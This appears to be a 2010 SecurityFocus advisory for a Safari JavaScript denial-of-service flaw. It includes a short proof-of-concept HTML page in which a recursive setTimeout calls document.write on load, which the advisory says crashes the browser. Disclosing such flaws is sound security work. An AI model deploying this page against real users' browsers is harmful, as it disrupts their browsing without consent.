Apple Safari Web Browser JavaScript Invalid Address Denial Of Service Vulnerability

The following example will cause the browser to crash:

<html>
<script name="JavaScript">
<!--

function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}

// -->
</script>

<body onLoad="tickTock();">
</html>


 

Privacy Statement
Copyright 2010, SecurityFocus